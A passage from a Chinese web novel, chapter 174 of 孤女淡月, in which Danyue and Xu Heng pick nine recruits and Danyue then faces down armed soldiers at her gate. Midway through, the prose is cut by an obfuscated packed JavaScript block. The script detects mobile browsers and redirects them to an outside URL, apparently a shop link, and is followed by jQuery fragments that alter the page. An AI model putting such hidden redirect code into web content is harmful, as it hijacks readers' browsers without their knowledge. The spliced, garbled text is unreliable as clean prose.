174.第 174 章
作品:《孤女淡月》 一览无余的考校里头,倒真有几个机灵有想法的。
比如一个最先动手修理窗棂的瘦高个儿,名叫陈木。他敏锐地发现了一楼回廊拐角处一扇窗户的榫卯有些松动,关合不严。默默从自己随身的旧工具袋里拿出几样小巧的凿子和木槌,又从院角堆放杂物的地方找来几块合适的软木片,敲敲打打,削削补补,活儿干得又细致又安静。
再比如一直在庭院里忙活的中年妇人,周娘子。她先是在庭院里头闲逛一圈,然后找到阿海,问道:“海爷,请问主家对这庭院的花草,是喜欢齐整规矩些,还是偏爱自然野趣?另外,我瞧见东北角那块地背阴潮湿,土质似乎不错,若是种上几丛薄荷或者紫苏,夏日既能驱虫,厨房偶尔要用也方便。西南角日头足,土却薄些,种点耐旱的太阳花或石竹,颜色也鲜亮。这些改动不大,花不了几个钱,但能更妥帖些。您看……?”她不仅观察入微,还懂得适时地提出建议,很是不错。
还有一个看起来不过十七八岁的小伙子,阿树。他在日落之前递给阿山一张纸后就默默离开了,全程一句话未说。那张纸上画着一幅颇为仔细的宅院平面图,图上圈了好几处地方,用别扭的比画写着“改”。阿山依着画找寻那些地方,这几个地方都有一个共同点,就是遮蔽物尤其多,他还去试了试,就算自己躲藏起来,也无人能发现。
除了这几人之外,还有将厨房改造得更为合理的鲁伯;将宅院一些落灰之地仔细擦拭干净的茜姑娘;懂得和他人打配合的樵夫阿丛……
这些人的表现,让许恒和淡月的目光为之驻足,彼此交换的眼神之中也充满着惊喜。
那夜挑灯计议至深夜,最终圈定了九个名字。
鲁伯、茜娘、阿丛、陈木、周娘子、阿树,这六人是凭着实打实的机灵劲儿脱颖而出的。再加上阿山阿海又推荐出务实肯干的三个人,于是这九人变成了通过初选的人。只是这些人的身份背景需要进一步核验,这些就交给阿山阿海来负责。
通过今日众人的表现,淡月发现了一件事,她落笔凝眸,语气低沉:“我们此番要做的事情,说不大也不大,说不小也不小。但不确定性很多,可我们之间甚至今日选出的几人当中,无人懂医。”
此言一出,另外三人均陷入沉默。
淡月脑中飞快闪过一个人选:“我想到了一个人,阿芝。她自幼随父学医,天资聪颖,心地也善。若是能……”
“不行。” 许恒打断她,声音斩钉截铁,“阿芝年纪尚小,心性未定。更重要的是,她父亲在岛上人脉广泛,现下更是在内阁帮忙,说不准跟岛上的势力有千丝万缕的联系。一旦牵扯进来,变数太大。”
提议被搁置。阿山挠挠头:“岛上大夫少,有名有姓的就那么几个,剩下的多是些赤脚郎中,本事也有限……”
阿海也摇头,一时想不出合适人选。
“只能再多留意了。”淡月轻叹一声,将这个难题暂时记下,转头看向许恒,关切道:“明日便要正式进入山林,万事小心。”
许恒点点头,辅以安静的笑意:“我会的。”
第二日,晨光微熹,四人便各司其职。许恒背着简单的行囊,身影很快消失在通往后山的崎岖小径上。阿山和阿海也换上了便于行动的衣裳,分头没入街巷与码头的人流中。
偌大的宅院,顿时只剩下淡月一人。
她独自走向三楼最深处,被房间掩护起来的隐蔽之地。墙上贴着船只详细构造图,一旁则是徐老汉送的那张全岛地图。她伏案工作,时而对照地图推演许恒今日可能的行进路线和风险点,时而审视船只图纸,思考哪些部件可以开始分头准备,哪些材料需要特殊渠道。阳光从高窗斜射进来,尘埃在空气中飞舞,室内安静得只有她翻动纸张和笔尖划过纸面的细微声响。
她太专注了,专注到没有留意到,宅院外平日里偶尔经过的零星路人声,不知何时已彻底消失。前院那扇沉重的朱漆大门外,正被十数道沉默如铁塔般的身影围住。暗青色的制式皮甲和腰间狭长的佩刀散发出令人窒息的压迫感。
“唏律律——!”
一声痛苦的马匹嘶鸣,尖锐刺耳,淡月握着炭笔的手猛地一抖,她猛地侧目望去,这才发现院门口的异样。她一开始看见受惊的马儿,只以为是恰好落在门口,没想到下一秒,吆喝声随之而来。
“院内的人,速速开门!”
淡月的呼吸瞬间停滞,脑海里“轰”的一声,无数个想法在脑海里飞奔,难道是他们的计划暴露了?!
不能慌……
不能慌!
她将长案上的图纸粗暴地卷起,塞进竹筒,粗略收拾了一圈物件,而后仔细关好密阁的门。听到细微“咔嗒”声,她才一路小跑下楼,来到大门前。她的手搭上门闩的瞬间,门外催促之声再次传来,已经带了明显的不耐烦。
“再不开门,便要硬闯了!” 伴随着金属甲片摩擦的铿锵声,显然已有人准备上前。
她深吸一口气,散去惊慌,缓缓将大门拉开一道仅容一人侧身的缝隙。
门外,为首那名脸上带疤的军官正冷冷地盯着她,目光如刮骨刀般从头到脚扫视了一遍。“你是此间主人?”他声音平板,没有情绪。
淡月立刻摇头,垂下眼睫,嗓音清软:“回官爷的话,小妇人并非主人,只是主家雇来,暂时看顾院子的。”
军官没说话,只偏了下头。他身后一名兵士立刻上前两步,锐利的目光越过她的肩膀,毫不客气地向门内院落扫视,似乎在评估院内的布局和动静。
巷子远处,已经有一些胆大的百姓聚拢过来,远远地探头张望,指指点点,压低声音的议论顺着风飘来些许碎片:
“啧,果然是来查这家的……”
“一看就是没挂过号的新户,不懂规矩……”
“还说自己是富商呢,昨日搞出那么大动静,今日还不是要低头……”
“富商?怕不是身份都是假的吧,不然正经搬来的,怎么能不先给那位递帖子报备……”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16838244|164853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
报备?递帖子?
淡月心头猛地一跳,原来在这岛上,新迁入的大户,还需要向谁报备?
她脑中急转,脸上迅速堆起讨好的笑容,微微屈膝,语气诚恳:“官爷明鉴,这屋子的主人……确实还未曾正式搬过来。这院子也是前两日刚刚赁下的,契约还在书房收着呢。主家只是吩咐我先来收拾打理。若是官爷需要查验房契地契,小妇人这就去取来?”
那疤脸军官闻言,冷冷地开口,“既不是主人,便叫你家主人出来说话。立刻。”
淡月没有放弃,很有耐心地继续解释主家不在,而且若是官爷想要查验房契,她可以去取来。可这些人如同冰雕一般,丝毫不为所动。亦不说来意,也不出示任何公文令信,仿佛就默认自己仅凭一身铠甲就有无需解释便可闯入的权力。
任何地方,都有制度,都有王法,淡月深知这一点。
“官爷!小妇人好话说尽,主家不在便是不在!”她腰背挺直,眉宇间凝起一层鲜明的怒意,声音也拔高了几分,“您若要查,请拿出正经的文书批票来!若有文书,小妇人自当开门恭迎,茶水伺候!若无文书——”
她深吸一口气,猛地向前踏出半步,竟用自己单薄的身躯,更严实地堵住了那道门缝,眼神灼灼:“便是私闯民宅!这岛虽大,难道就没有王法规矩了吗?!主家将院子交托于我,若任由各位这般不明不白地闯进去,回头主家怪罪下来,小妇人这条命怕也保不住!今日,官爷若拿不出实在的凭证,便是打死我,也休想踏进这门一步!”
她的话说得又急又厉,带着豁出性命的决绝。远处围观的人群顿时响起一阵更热烈的窃窃私语和压抑的惊呼。
“这妇人好大胆子!”
“硬闯好像是不太对……”
疤脸军官显然没料到她会突然如此强硬,一番连珠炮似的质问顶得面色一沉。更让他难堪的是,身后那些士兵,已经有着几声玩味的嘲笑,都在看他如何收场。他奉命而来,今日又是新官上任三把火,前面几家人都是恭恭敬敬的,没想到此间会碰上这般硬茬子。但众目睽睽之下,若是被一个小妇人吓退,他这脸面往哪儿搁?日后还怎么带队?
他眼神一凛,手再次重重按上刀柄,“牙尖嘴利!本官奉命行事,何须与你多言?再敢阻拦,休怪我不客气!让开!” 最后两字厉喝,同时他身后的士兵也齐齐上前一步,甲胄铿锵,杀气弥漫,显然准备用强。
淡月的心这下真是差一步就要跳出来了,院子里杂乱无章,若是他们下决心搜查,她仍担心计划一事暴露。
她,不能退!
“笃!”
一声沉重的拐杖顿地声,如同定音鼓般,突兀地打破了僵局。紧接着,苍老的声音慢悠悠地从人群外围传来,不高,却奇异地盖过了所有嘈杂:“嗬……这天还没黑呢,哪来的这么大阵仗?吵得老头子我午觉都睡不安生。”
午后偏斜的阳光,透过那缝隙,正好照亮了巷口缓缓挪来的一个佝偻身影。

